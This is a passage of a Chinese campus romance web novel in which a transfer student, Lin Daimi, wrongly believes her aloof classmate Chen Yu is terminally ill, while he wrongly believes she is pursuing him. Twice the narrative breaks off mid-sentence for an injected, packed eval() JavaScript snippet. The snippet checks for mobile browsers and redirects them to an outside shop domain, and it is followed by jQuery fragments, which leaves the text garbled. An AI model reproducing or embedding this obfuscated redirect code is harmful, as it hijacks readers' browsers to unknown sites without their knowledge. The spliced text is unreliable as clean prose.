最后面的两张书桌上,随意堆着几本书,林黛蜜走到倒数第二排停下。 新同桌是个相当眉目清秀的男生,她拉开凳子坐下,简单打了个招呼,“同学你好,我叫林黛蜜。” “孟一格。”男生酷酷地吐出三个字后,别过脸专心转手里的笔,很明显不想和她有其他的交流。 后来,孟一格说,那是因为,林黛蜜那张过于漂亮的脸忽然凑近,给人一种冲击感,她是紧张才故作高冷的。 林黛蜜前脚坐下,胡波后脚就黑着脸进来了,后面还跟着一脸无所谓的陈喻。 胡波回头,狠狠剜一眼陈喻,“自己找个地方坐。” 闻言,张雨倩立马站起来,“陈喻,我这里有空位置。” 此话一出,大家都发出“咦~”的声音,林黛蜜秒懂,看来哪里都一样,少不了相互喜欢的,少不了起哄八卦的。 怪不得陈喻不肯和她一起进来,还怕被误会,原来他有喜欢的人了。 替他高兴,至少离开这个世界之前,感受过年少时热烈的爱情,也算没白来一趟。 让她没想到的是,陈喻的目光,只是淡淡张雨倩,而后,径直去了中间的最后一排,也就是林黛蜜后面那个空位子。 很不给人面子! 似乎早料到是这样的结果,张雨倩的脸上,看不出丝毫的失落,没事人一样坐回自己的位置,继续做让人头疼的数学试卷。 准备好吃瓜的林黛蜜:“……这就完了?” 陈喻落座后,问前面:“孟源人呢?还没来?” 听见声音,林黛蜜和孟一格同时回头,后者的语调毫无起伏:“你还不知道他,懒驴上磨屎尿多呗。” 正式上课铃声响完,教室后门被悄悄推开,一个男生猫着腰进来,鬼鬼祟祟坐在陈喻边上,偷感十足。 林黛蜜无意间一撇,刚好看到这一幕。 孟源脸上挂着尴尬但不失礼貌的笑,发财猫似的朝她招手,“没猜错的话,这位就是林黛蜜吧。” “是的,很高兴认识你,孟源。”林黛蜜一本正经回答。 “嘿嘿,兄弟,你还知道我名字,你该不会是为了我转到附中的吧!” 孟一格白眼翻到天上,这个丢人现眼的玩意儿,到底哪里来的自信。 林黛蜜认真摇摇头:“不是的,因为刚才班主任点名,说全班就剩孟源了,不过,你为什么要称呼我为……兄弟?” “你别介意,他管所有人都叫兄弟,”孟一格嫌弃地扫一眼孟源,“你就继续这样叫吧,就算哪天有个女的对你有点想法,都被你处成兄弟了。” 孟源的眼睛豁然一亮:“林黛蜜同学,你对我有想法?” “我没 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“她的头好圆啊,像皮球。” 刚开始,林黛蜜埋着头,正将书安排进不大的书桌里,慢慢才意识到,外面的人是在看自己,有男生有女生。 那种目光,是属于同龄人之间的,友好腼腆的凝视,于是,她笑着朝外面的同学挥挥手。 “我天,她笑得好犯规,我要没了。” “她冲我笑了,还招手了。” “人家又不认识你,凭什么冲你笑。” “她明明在冲我笑。” “……” 吵闹了许久,林黛蜜的后面,在课桌上趴了一节课的少年终于抬头,他皱了皱眉,黑眸勉强睁开,看向眼前女生的眸光,锋利如刃 一开口,语气也是相当不善。 “在这儿阅兵呢?你要不要出去,挨个和他们敬个礼啊握握手,然后再说一句,我们都是好朋友?” 这好好的怎么唱起来了呢,林黛蜜颔首,抱歉道:“……不好意思陈喻,我以后不会打扰你睡觉了。” 确实是她的疏忽,病人一般都很嗜睡,脾气不稳定也是常有的事情。 就像刚才,他们几个人互相认识寒暄的时候,陈喻就一直耷拉着脸,一字不说,感觉马上要死了的样子。 还是理解吧,理解万岁! 一旁的孟一格看不下去,“陈喻,过分了啊,下课时间,人家想干嘛就干嘛,关你什么事?” 林黛蜜听出孟一格是在为她说话,开口道:“谢谢你啊,不过,刚才确实是我的疏忽,你别责怪他。” 孟一格扶额,简直要晕过去,得,又来一个无脑迷妹,这个世界真的是一个巨大的卡颜局,只要长得好看,做什么都会被理解。 孟源也拍拍陈喻的肩膀:“兄弟啊,她就是个傻白甜,多可爱啊,才第一天上课,你干嘛针对人家!” 孟源和陈喻是穿开裆裤的交情,要是连点儿眼色这都没有,那他真就白混了,要换平时,就算班里的人火拼起来,他眼皮都懒得掀开,这次怎么就惹到他了呢? 她是傻白甜?她可爱? 陈喻心道,她的套路高明着呢。这才不到半天,孟家这对表兄妹就被她纯良的外表给欺骗了,别的先不说,就装作听不懂人话这一招,还真不是平常人能想出来的。 5. 05 睡眠被打扰,本来心里窝着一股无名火,可林黛蜜道歉及时又真城,陈喻也就不好再说什么,索性出去透气。 第二节自习要讲卷子,书包里没找到错题本,林黛蜜打算去小卖部,随便买一个笔记本先凑合用。 从教学楼出来,她一眼便看到,鱼塘那里站着个人,再一细看,那不是陈喻吗? 隔着几十米的距离,他站在假山旁,身形挺拔,却透着一股难以言喻的孤寂。 孤寂! 这个词,太苍老了,本应该形容杜甫,而不是用在眼前这个,和她一样年轻人的少年身上的。 他在那里赏鱼吗? 还是他想吃鱼了? 话又说回来,这大晚上的,鱼也该睡了吧。 对了? 鱼也是晚上睡觉吗?那鱼睡觉的时候会打呼噜吗?鱼会熬夜吗?会失眠吗?会在睡着的时候磨牙吗? 林黛蜜的思维很跳脱,她一瞬间就思考起这些无厘头的问题。 本打算悄悄走开的,甫一抬眼,却见陈喻双手扒着栏杆,右脚抬起,缓缓踩上了石阶。 不好,他要自杀! 她平地一声吼:“不要——!” 晚来的风,将女孩的声音吹得七零八落,她什么也顾不上了,以百米赛跑的速度,几乎是连滚爬爬地冲了过去。 陈喻闻声,微微侧头的那一瞬,林黛蜜用尽全身力气,一把死死揪住他衬衫的领口,猛地将他往后拽! “你不能跳!” 突如其来的巨力,夹杂着少女自带的香气,少年完全没料到,也因此,被拽得一个趔趄,猛地向后撞在她身上。 领口布料严重变形,被她紧攥在手里,陈喻只感觉到,那块布料死死勒着他的脖颈,卡在喉结之下。 “咳!咳咳咳……” 少年原本冷峻的脸庞,几乎是瞬间就涨红了,因为缺氧,他额角和脖颈的青筋明显暴起。 这姑娘人看着瘦,手劲还挺大。 他想说话,却只能发出急促的咳嗽声,下意识的,陈喻只能去抓她的手腕,这才挣脱这场突如其来的桎梏。 咳嗽了好半天,等清醒稍微平复了一些,他从齿缝里挤出几个字:“我……咳咳……没想自杀,我在捡钥匙。” 林黛蜜猛地一愣,顺着他勉强抬起的手指方向望去,不远处的湖底,波光粼粼下,还真躺着一串钥匙,在月光和湖波的加衬下,那串钥匙像是镀了一层水银。 妈呀,又闹乌龙了! 但这也不怪林黛蜜多想,在已知他得了癌症的条件下,月黑风高的,他又一个人孤零零站在湖边,还一只脚踩上了石阶,她能不多想吗? 林黛蜜手忙脚乱,想装作什么都没有发生,挠了挠耳朵,又捋了捋头发,“你没事儿的话,那我……我就先走了。” 说完,她转身企图离开事发现场。 “等等!” 身后传来一道冷峻的声音,接着,陈喻拦住她的去路,眯眼打量着她,“你跟踪我?” “怎么会?”林黛蜜立马开口否认,“下节课讲卷子,我要去超市买个笔记本儿。” 陈喻明显没信,他指着另一个方向说,“我没记错的话,去超市,走那条路更近。” “是吗?”林黛蜜顺着他的手指看过去,“哦,好的,谢谢你提醒,我还以为只有这一条路呢。” 陈喻勾唇,没拆穿她的把戏。 他现在甚至怀疑,林黛蜜就是冲着他来的。 从理发店,到同一辆公交车,再到这次的鱼塘,看似每一次的偶遇,都是她精心设计的。 简直太有心机了! 可惜啊,他是不会喜欢她的。 应该说,他不会喜欢上任何人类。 对于陈喻的这些弯弯绕,林黛蜜是一概不知的,她转身要走,却再次被叫住。 “我要告诉你一句话。” 闻言,林黛蜜回头,笑眼弯弯,望向他:“什么话?” 夜是黑的。 她的眼睛里有光。 她不知道。 陈喻突然不想说了,更准确来说,是不忍心说了,不忍心,打散女孩儿眼中的光。 察觉这个念头,他被自己的善良,吓了一大跳。 可林黛蜜好奇心太重,她执意要知道,否则就不放他走,“到底舒什么话,你必须说,否则我今晚都睡不着。” 陈喻挑眉,好整以暇看着她:“你确定要听?” 林黛蜜睁着大大的杏眼,小鸡啄米般点头。 陈喻双手插兜,懒懒地靠在铁栏杆上,摆出一副很不屑的神情,说:“很不高兴遇见你。” 真的没想到是这一句,林黛蜜楞怔了片刻,随即扬起一个笑脸。 夜风里,是她甜软的声音,陈喻听见的是。 “但我很高兴认识你。” 面色依旧如常,陈喻心里的弦,似乎被勾了一下,险些断掉。 他心想,这句话,未免太干净了,本不该出现在这个,他已经认定了的,肮脏虚伪的世界。 林黛蜜完全能理解陈喻,一个即将离开这个世界的人,他此刻一定苦闷极了,他肯定也会想,为什么得这种病的人,偏偏是我,所以啊,哪里还有心情认识新的朋友,她完全可以理解。 *** 第二天是周一,正式上课的日子。林黛蜜从被窝爬起来,快速洗漱一番后,走进厨房,和往常一样,准备好的早餐已经摆在了餐桌上。 她拎着书包走到饭桌旁,两根手指捏了一个小笼包放进嘴里,还没等她咽下去,身后就响起了幽怨的控诉声。 “林虫虫,你再吃下去,老奴就要迟到了。”陆知珩单肩挂着书包,倚在门框上,不耐烦催促道。 林韵经过,拍了拍儿子的肩膀:“儿子,你别催妹妹,妈妈待会儿开车送你们过去,不会迟到的啊。” 陆知珩没忍住翻了个白眼:“林女士,您也忒双标了,我在附中念了两年书,也没见您送过我一回。” 林韵:“这你可就冤枉我了,我好几次都说要送你,是你拒绝了的,还有啊,你在学校一定照顾好妹妹。” 陆知珩:“知道了知道了,林女士这句话您都念了几百遍了。” 趁着他们母子二人斗嘴的功夫,林黛蜜又往嘴里塞了两个小笼包,喝了大半杯豆浆,酒足饭饱去上学。 林韵开车将兄妹两人放到附中门口,进门走之前又交代一遍,“陆知珩,一定照顾好糖糖。” “知道了。”陆知珩被说得不耐烦,抬手揉乱林黛蜜的头发,“烦人虫。” 林黛蜜掐一把他的胳膊,“我是烦人虫,那你就是臭屁虫。” 不知道的,会以为陆知珩是个阳光学霸暖男,知道的,任谁都会被他种种行为臭屁到,一旦有人夸他半句,他就能跟着夸自己一本书。 说实话,林黛蜜就没见过比他还自恋的人。 林韵摸摸女儿的头,“要记得多喝水。” 林黛蜜身体绷直,朝林韵敬了个礼,“是,首长。” 林韵被逗笑,稀罕地摸摸女儿光洁的脸蛋,又开始叮嘱:“身体哪里不舒服的话……” 眼看就要没完没了,林黛蜜抢过话头:“妈妈,我已经快高三的人了,你不能再拿我当小孩了,你这样,我永远都长不大。” 林韵皱着眉:“长不大才好呢,长大了就会离开我。” 不就换一个地方刷题,这娘俩搞得跟上刑场一样,陆知珩真的看不下去了,“要不您二位先聊着,我先走?” 林黛蜜追上去:“等等我~” 从校门进去,走到教学楼前孔子雕像那里,林黛蜜突然想起来,昨天胡波让她今天到学校后,第一件事就去后勤部取校服,因为周一升国旗要求整齐着装。 她扭头对陆知珩说,“哥,你先上去吧,我得先去领校 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958187|193227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服。” 陆知珩脚尖扭转方向,“我去帮你领,就你那浆糊脑袋肯定不认识路。” 林黛蜜:“不用,我昨天来过一趟,肯定能找到路。” 陆知珩停下脚步,“行吧,被人打哭了记得上楼找我,我好下来看热闹。” 林黛蜜翻了个白眼,没好气道:“请你立刻、马上从我眼前消失。” 有了昨天的踩点,林黛蜜绕到办公楼,熟门熟路找到后勤部,做了登记之后,很快拿到了两套黑白相间的校服。 然后马不停蹄地,一路抱着校服,绕过中央花坛,迈几个台阶,当她走进教学楼一楼大厅时,一眼看到胡波在训人,本打算点个头就上楼,却没想到,被训的学生忽然扭头朝她看过来。 四目相对。 两人眼底同时划过诧异。 又是陈喻。 好熟悉的桥段。 要不是手里还抱着两套校服,要不是地点不一样,林黛蜜都要怀疑,她、陈喻、胡波,他们三人,是不是陷入了什么循环。 “陈喻!” “我跟你说话呢?你有没有在听?”胡波咆哮着,脸色有点难看。 “我知道你快走了,不好好考试也就算了,今天要升国旗,请问你的校服呢?” “别以为你没剩几天了,就能无视校规,你走了,我还得在这个学校混下去。” 没剩几天了!快走了! 这几个字出来,林黛蜜的心狠狠揪了一下,生病的人都是很敏感的,她觉得,胡波就这样直截了当说出来,对病人,实在是一种残忍和二次伤害。 “让他穿我的吧,我这里有两套。”林黛蜜把上面那套递给陈喻,“可能有点小,但应个急还行。” 林黛蜜本人有165左右,陈喻比她高出不少,目测175以上,小是小了点,但也能凑合一会儿,应付校领导的检查完全够了。 陈喻的目光在她脸上停留两秒,嗤得开口,“别跟我来这一套。” 其实他的意思是,我只希望和你保持同学关系,其他的就没有必要了。 而且,他严重怀疑林黛蜜看上自己了,八成第一眼就看上了,就在理发店那次。 要不然,谁家好人,看一个见了几面的陌生人的目光,是如此的……饱含深情? 他生怕发生这种事情,特意挑了家没什么人的理发店,结果还是没躲过。 “哦!”林黛蜜垂眸,换了一下手,又把下面那套递过去,“你想要这一套?” 胡波:“?” 我的个乖乖,活这么大岁数,第一次知道原来这话还能这么理解? 陈喻:“……” 完蛋了,被一个呆瓜看上了,不过,这也可以理解,他知道自己是这个学校,哦不,这个世界上为数不多的聪明人。 被一些傻瓜看上也正常,毕竟,按照惯例,大家一般都会喜欢上和自己有很大差异的人。 见陈喻没接,只一味看着自己,林黛蜜以为他嫌弃,便在后面补了句,“两套都是新的,都一样。” 陈喻再次被无语到,他把胡波拉到一旁:“波波,她听不懂中国话,要不你再批评我几句吧。” 胡波摸摸鼻子:“那个,林黛蜜你先回教室好吧,我再跟他说两句。” “好吧。” 林黛蜜走后,胡波继续道:“臭小子,人家肯借给你,你不知道谢恩就罢了,还在这里瞎拽什么?” “我不需要。”陈喻的目光从楼梯慢慢口收回来,“再说了,她那是真心想借我衣服吗?” 她只是想引起我的注意罢了。 看着呆,实则都是她的伪装和计谋。 好吧,他不得不承认,终于有人想出点新花样了。 胡波:“……好好好,你清高,十点升国旗之前,你最好上天请个织女,麻利给我织一套出来,否则,要是因为你被扣了班分,你看我怎么收拾你。” 6. 06 每天上午,第二节下课之后,会有一个长达三十分钟的大课间,周一的大课间,照例要举行升国旗仪式。 林黛蜜问孟一格:“你知道咱们班哪个女生是住校生吗?我下课后需要去寝室换一下校服。” 孟一格的目光在教室扫一圈,最终指向九点钟方向,“靠窗第二排那个女生看到了没?” “嗯!看到了。”其实,林黛蜜只锁定了那人清瘦挺拔的背影。 “她叫杨雅茹,人还挺好的,你可以找她带你去。” 下课铃声一响,林黛蜜第一时间跑到杨雅茹座位跟前,等她看清楚女生的脸,这才发现,她是前天帮自己说话的那个女生。 “找我有事?”杨雅茹指了指自己,率先开口问。 林黛蜜点点头:“是的,我想问一下,你能不能带我去你们寝室换一下校服?” “可以。”杨雅茹爽快地答应了。 从教室出去,一开始,两人一前一后走着,下了楼梯之后,林黛蜜上前两步,和她并肩走在一条直线上。 林黛蜜说:“杨雅茹,那天谢谢你。” “那天?” 林黛蜜:“你忘了?那天咱们班同学说我语文不及格,还说我是汉奸,大脑没发育好,你帮我说话了不是吗?” “哦,那没什么。”杨雅茹语调很平淡,并不觉得那件事儿值得被拿出来道谢。 两人的对话是如此客套干涩,林黛蜜挺不适应的,她继续说:“或许你愿意的话,我们能成为朋友吗?我看了成绩单,你的语文能考130,你知道吗?我从小就特别崇拜作家。” “我又不是作家。”语气过于冷硬,杨雅茹自己都感觉到了不友好,她不是有意的,不过,旁边的女孩似乎并不在乎。 关于这一点,林黛蜜有自己的一套逻辑,“你语文分数高,那代表你的作文写得好,作文写得好不就是作家吗?” 杨雅茹看了她一眼,将语速调到缓慢模式:“也不能这么说,我那不过是套了些应试的模板,都不能算作文学。” 杨雅茹并不觉得会写“现代八股文”是什么能拿得出手的东西,她想写的,是诗歌,是散文,是小说,而不是在50分钟之内搭建一篇结构完整、逻辑清晰、语句通顺,甚至带点教化意味的应用文。 其实杨雅茹很想找个人倾诉一下,最好是个陌生人,最好是个哑巴,她侧头看了一眼旁边的人,林黛蜜也不知道从哪里揪了片叶子,这会儿正卷起来放在嘴边试图吹响。 杨雅茹:“……” 算了吧,与其说给她,还不如对那群搬家的蚂蚁念叨念叨,至少蚂蚁和她一样,明明存在却总是被忽视。 还有,杨雅茹真的好想提醒林黛蜜,她都快把柳叶送到嗓子眼儿了,那样能吹得响吗?这个班都是些什么奇葩啊。算了,她自己也是奇葩,凭什么说别人呢? 第N次模仿喜羊羊吹叶子失败之后,林黛蜜随手把柳叶扔进花坛,扭头问杨雅茹:“有机会我能读一下你的作文吗?” 杨雅茹大方得很:“可以,回头我送几框给你。” 林黛蜜:“……” 倒也用不了那么多。 换好校服下来,以国旗台为圆心,每个班级按顺序排排站。 班里其他同学都有自己固定的位置,林黛蜜是新来的,她自动补在女生队伍的最后面,巧的是,站在她斜前方的,刚好是陈喻和孟源。 作为副校长,胡波穿着黑色西装,打着领带坐在上面讲话。 看得出来,那发型是他上台前洗过吹过的,因为早上见面时,他的头发还是以绺为单位出现在头顶的。 胡波是个超现实主义者,他也不扯别的,那些个秋高气爽、新的征程之类的词儿,他是一个字都懒得说,开口的第一句就是,“今天是2024年2月26日,距离今年高考还有102天,距离25届高考还有四百来天……” 孟源双手插在裤兜里,头一歪感慨道:“吴站长说得好啊,时间真他妈是一头野驴,跑起来就停不下来,一转眼的功夫,再有四百来天儿,咱们也得高考了。” “是你们剩四百多天了,我可没剩那么多。”陈喻扯了下嘴角,懒洋洋开口。 两人的对话,一字不落,落入林黛蜜的耳中,她看着陈喻的后脑勺,感到无比惋惜。 四百天都不到啊! 陈喻心里一定痛苦极了,心酸极了,为了不让身边的人担心,还要故作坚强,强撑着笑容说话,林黛蜜暗自决定,要通过自己的努力,让陈喻感受到人间的温暖,这样的话,离开之前他至少会开心一点吧。 或许是林黛蜜的目光,太过于直白,前面两人觉得后脑勺有点烫,于是一同转过身来。 孟源斜睨她一眼,不解道,“兄弟,还没问过你,为什么这会儿转学?” 在岚城,一中和附中,随便进一个都相当于半只脚踏进了大学,师资力量方面,甚至一中还更好一些,孟源实在想不到她转学的原因。 林黛蜜:“个人原因。” 孟源:“能具体点吗?” 林黛蜜抿了抿唇,正想怎么委婉拒绝,却听陈喻开口:“别人的事情你少打听。” 陈喻一点都不想和她扯上关系,林黛蜜是为了自己转学这件事,不能有第三个人知道。 这个女孩太会拿捏人,顶着一张漂亮脸蛋,再搭配上她那晃眼的笑容,才短短几个小时,就和班里好多同学搭上了话。 别以为他不知道她的伎俩,不过就是头一天上课,班里好些人没拿草稿本,然后她就“大方”将自己的草稿本撕开,给大家一人分了一页。 就一页破草稿纸,她就得了个乐于助人的名号,孟源这种头脑简单,四肢发达的大老粗,压根就不是她的对手。 如果啊,要是她说服孟源,帮她追自己,那可就难办了。 不从她吧,让他兄弟孟源夹在中间难做人,要是从了她吧,受委屈的还是自己。 所以,还是让孟源离她远一点好了。 陈喻的这句话,在林黛蜜看来,却是在帮她解围,因为她不想说自己转学的原因。 她心想,这是一个多么善良体贴,多么有边界感的人啊,林黛蜜没忍住开口道:“陈喻,我希望你可以去一个好地方。” 一个,没有病痛的地方。 一个,充满阳光和希望的地方。 “他去的当然是好地方了。”孟源张开双臂,环视四周:“还有比这人间炼狱更差的地方吗?” 没错,他指的就是学校这座炼狱。 又来了,她又用那种,很深情的目光凝视我,为了不和她继续对视,陈喻垂眸盯着脚尖。 她的话没毛病,可不知道为什么,搭配上林黛蜜那充满……爱意的表情,陈喻总觉得,哪里怪怪的。 她说的好地方,最好是纽约。 不对,这到底是哪个嘴快的,这么快就把他两个月后,要出国的消息告诉她了,看她那眼神,怎么感觉还,舍不得他走呢。 这下麻烦大了! 哪怕知道他要出国了,还为他转学过来。 难道一中连个帅哥都没有? 说来也邪门。 他们见面的次数一只手上都能数过来,她到底,是怎么对他情根深种的? 升旗仪式结束之后,张雨倩叫住了六班想要解散的同学们,“六班同学先等一下,男生去实验楼搬教材,现在就去,别让我重复第二遍。” 班里的大部分男生去了实验楼,陈喻和孟源却抬脚往反方向走。 孟一格叫住两人:“欸,你们俩站住,没听见让男生去搬书?” 陈喻:“身体不舒服,搬不了。” 孟源挽起陈喻的胳膊:“我得去照顾他。” 孟一格:“无耻。” 林黛蜜举手:“我代替陈喻去搬。” 陈喻脚下一顿:“?” 现在这么明目张胆,藏都不藏了。 狼子野心! 孟源腆着脸:“你看看,人林黛蜜才认识喻哥几天,人都愿意代劳,咱俩好歹十几年的兄弟,就帮帮忙呗。” 孟一格剜他一眼:“怎么没懒死你。” 其实也没有多少教材,林黛蜜和孟一格去的时候,已经没书可搬了。两人回教室的路上,孟一格突然来了句,“厕所去不去?” “厕所?” 林黛蜜被问住了,女生之间关系好的标志之一,就是一起去上厕所,怎么,附中男生和女生也能结伴上厕所? 虽然不理解,但林黛蜜不想辜负他的好意,只好硬着头皮答应下来:“好啊,一起去。” 林黛蜜走在前面,孟源跟在后面,楼道的尽头,左边是女厕所,右边是男厕所。 林黛蜜右拐,孟一格也跟着右拐,眼看就要跟着进去了,无奈,林黛蜜只好指了指对面,“那个牌子上写着男。” “我认识字。” 林黛蜜欲言又止盯着孟一格看了几秒,后者慢慢反应过来,“我去,你该不会以为我是男的吧?” “不是吗?”林黛蜜脱口而出。 孟一格直接被气笑了:“呵呵,您真是我见过眼睛最大的人。” 为什么突然夸她眼睛大,出于礼貌,林黛蜜还是回了句,“谢谢,我妈妈也这样说。” 孟一格:“……” 她的眉头死死拧在一起,简直能夹死一只苍蝇,她算是知道林黛蜜为什么语文不及格了,因为这姑娘好像听不懂人话。 她只好耐着性子再解释一遍:“听着林黛蜜,我的意思是,你瞎……” 算了,对着这么一张脸,再对着那双冒着傻气的漂亮眼睛,孟一格骂不出来。 “我的意思是,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958188|193227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞎说什么?我郑重告诉你,我,孟一格,是女生。” “什么?” 林黛蜜窘得恨不得找个地缝钻进去,她真是闹了大笑话,“对不起啊,我真没看出来,而且你的名字也比较中性……” 孟一格的头发,只比比一般男生长一点,再加上,皮肤算不上白皙,嘴角经常带着若有若无的笑意,乍一看,甚至有点痞帅的感觉,林黛蜜是真的没看出来。 “我说,你眼神不好也就罢了,难道脑子也不好吗?”孟一格将头高高抬起,露出一截抻直了的脖子,“你看我有喉结吗?你就说我是男的?” 林黛蜜:“……我没看你的脖子。” 啧。 孟一格细想一下,这好像也不能怪林黛蜜,先不说她今天在校服里面套了件竖领卫衣,就是第一次见面,正常人也不会扒开对方衣领确认男女啊。 “得了,也不是什么大事儿。”孟一格挥挥手,进了厕所。 接下来,林黛蜜得知,孟一格和孟源是亲戚,她还知道了很多八卦和班里的“规矩”,比如说,张雨倩喜欢陈喻,但陈喻不喜欢张雨倩。 再有,六班是整个高二年级最乌烟瘴气的一个班,气走了两个班主任,没人接手,最后这个烫手山芋被扔到了胡波的手里,这才镇住那几个调皮捣蛋的。 听了一圈,林黛蜜仰天叹口气,看来,大家都不是什么省油的灯啊。 - 自习开始前,教室里很安静,大家都埋头看着书,就连后面的孟源也不怎么说话了。 头一天上课,也没布置什么作业,林黛蜜便拿出新发的数学试卷做起来。 她不知道,这是暴风雨来临之前的宁静,在这方面,六班的学生相当灵敏,要知道,今天胡波一天都没骂人了,那晚自习肯定憋了个大的,谁现在敢吵闹,那就是第一个祭天的。 上课一分钟后,胡波端着茶杯进来了,他脸上带着和煦的笑容,见他脸色不错,六班的人顿时放松下来,这一放松,就容易得意忘形。 胡波笑眯眯道:“今天是开学的第一天,我们六班这个集体,来了一名新同学,现在时间充裕,就让她……” 胡波话还没说完,就被人抢过了话头,“就让她表演个才艺。” “表演才艺!表演才艺!”教室里顿时喧闹起来,“来一个,来一个。” 胡波敛眉,缓缓取下眼镜,捏了捏眉心。瞬间,空气像是被冻住一般,教室恢复了死一般的寂静。 除了林黛蜜,整个教室的人都知道,当胡波做这个动作时,那就是玩脱了。 没有预料中的怒吼,胡波语调极其平静地开口,“林黛蜜上来,做个自我介绍。” 林黛蜜点点头,在凝重的气氛中,大大方方上了讲台:“大家好,我叫林黛蜜,乍一听我的名字是高仿,但其实是原创,我妈妈姓林,她说,我的到来给家里带来了甜蜜,所以叫林黛蜜。” “当然了,也有人叫我林黛玉,能被人叫林黛玉我当然也很开心,但可惜的是,我连语文都考不及格,实在有愧林黛玉三个字,所以,希望大家以后不要将我们混淆。” 她自我介绍的中心主题只有一个,别叫错我的名字。 大概,从幼儿园开始,林黛蜜的自我介绍就是这几句话,她在台上说了没有八遍也有十遍。 记得小时候,自从知道林黛玉是个顶顶有才华,顶顶美貌的女子,林黛蜜很喜欢别人这么叫自己,但林韵不允许。 在女儿的任何事情上,林韵都格外警惕,刚开始,亲戚朋友叫女儿林黛玉时,林韵是没怎么在意的。 四五岁的时候,林黛蜜吃胖了好几斤,脸蛋和肚子都是圆滚滚的,家里来了个亲戚,他们打趣说,哪里有这么胖的林黛玉。 从那时起,林韵便不让别人叫她林黛玉,她不想他人的刻板印象,框住自己的女儿,林韵更怕的是,被调侃得多了,为了向林黛玉看齐,那种弱柳扶风的意识会刻在女儿的脑子里。 也因为这样,在文学素养这一块儿,林韵从来都不强求,她的逻辑是,天妒英才,那我女儿没有才,是不是就能做个平庸的长寿人儿呢。 不过,凡事都有两面性,放寒暑假时,当人家孩子在研读经典诗书时,林黛蜜被拉着满世界出差,长见识,林韵觉得,在孩子还不懂大多数道理的时候,行万里路比读万卷书更有用。 由于整个假期都在外面晃,所以每个学期开学的前五天,母女俩就开始点灯熬油,什么抄写课文啦,词语啦,日记啦,林黛蜜的字是林韵手把手教的,母女俩字体一模一样,这一招,两人现在都在用。 这就直接导致,林黛蜜的语文很差,连带着,语感也差,再连带着,以前有同学说她听不懂人话。 但好在,她的其他科目都不错,这大概也是,在语文不及格的情况下,林黛蜜能考六班第二名的原因。 7. 07 介绍完,林黛蜜回到座位。 胡波总结性发言:“新同学的名字都知道了吧,以后别叫错了,接下来……” 孟源举起手,“老师,还有个新同学没自我介绍。” “还有谁?”胡波目光看向陈喻,“他吗?” 众人:“对啊,他也是新加入六班的。” 胡波:“他上来能说出啥有营养的话?就四个字,我叫陈喻,还不够来回折腾的时间。” 孟源一想,还真是! 陈喻无辜被骂,一记眼刀过去,孟源立马噤了声。 林黛蜜看出来了,这出自我介绍就是为她准备的,不用说,肯定是林韵的指示。 这时,“咚咚咚”几道敲门声传来,随即,一个戴眼镜的女老师推开门,“胡校,能耽误您几分钟吗?” 胡波出去了,刚开始,教室里约莫安静了那么半分钟。 然后,以同桌为最小单位,大家开始讨论那位女老师找老胡什么事,都在互相说话,谁都知道老胡就在门外,谁也都没有提高嗓门,可渐渐的,大家发现,不提高嗓门对方就听不见了。 于是,教室里犹如住了一万只大马蜂,“嗡嗡嗡”的声音不绝于耳。 十分钟后,胡波进来了。 他是从后门进来的。 胡波抱着手臂,“来,你们五个站在墙边。” 林黛蜜扭头看了一眼,是她坐后面的陈喻孟源,再加上靠窗户最后面的三位。 胡波:“我要是不进来,你们是不是快打起来了?” 几人摇头。 “不是打架?那刚才是什么?爱的抚摸?” 几人再次摇头。 “说话!” 孟源第一个开口:“是陈喻,我找他要吃的,结果他把狗粮给我们说是零食,他们三个也吃了。” 林黛蜜和孟一格对视一眼,在对方眼中读出了无语,不过转念一想,陈喻现在还有心情捉弄别人,说明他还是挺乐观的一个人。 胡波卷起一本书,照着几人的后脑勺一人一下:“人家陈喻不用参加高考,你们也不用吗?” 这件事情作为导火索,一个半小时的晚自习,除去林黛蜜自我介绍的十分钟,胡波被叫出去的十五分钟,剩下的将近一小时,大家都在挨批斗。 “高二了,最关键的一年,还不知道学,脸还要不要了?” “想睡觉回家睡去,少在这里浪费资源。” “你们是我的活爹。” “□□都给我闭上。” 他声如洪钟,用力吐出的每个字都在回响,在林黛蜜看来,他说出的有些话,是不文明不礼貌的。 可是,底下的同学们似乎习以为常,有人补作业,有人画画,全然将胡波的咆哮,当做一种背景音。 林黛蜜很难将眼前这个,情绪失控,唾沫星子横飞的胡波,和昨天幽默活泼的他联系起来,丝毫不用质疑,昨天的他,更讨人喜欢些。 下课后,胡波走了,门被摔得震天响,又过了不到十秒钟,教室再次喧闹开来,同学们继续有说有笑。 好像什么都不曾发生过。 孟源和陈喻也坐了回去,他们掏出手机,说要组队打游戏。 林黛蜜回头问:“你们不去跟老师道歉吗?” 像是听到天方夜谭一般,二人齐刷刷抬头,看向她。 陈喻扯唇,像是听到了什么很好笑的笑话,他挑眉问道:“去了说什么? 林黛蜜:“你就说,对不起老师,我们以后上课再也不打闹了。” 她说完后,遭到了孟源的无情嘲笑,虽然她不知道,这句话,有什么引人发笑的地方。 陈喻这次没笑,但是他说:“欸,你怎么就那么愿意管我的事儿?我告诉你,趁早打消你心里那点念头,那是不可能的。” 他最讨厌多管闲事的人了。 孟源也开口附和:“林黛蜜,老胡又不是你爹,你那么关心他干嘛?” 林黛蜜无视孟源的话,直直对上陈喻的眼睛:“我只知道,道歉,并不是丢脸的事情。” 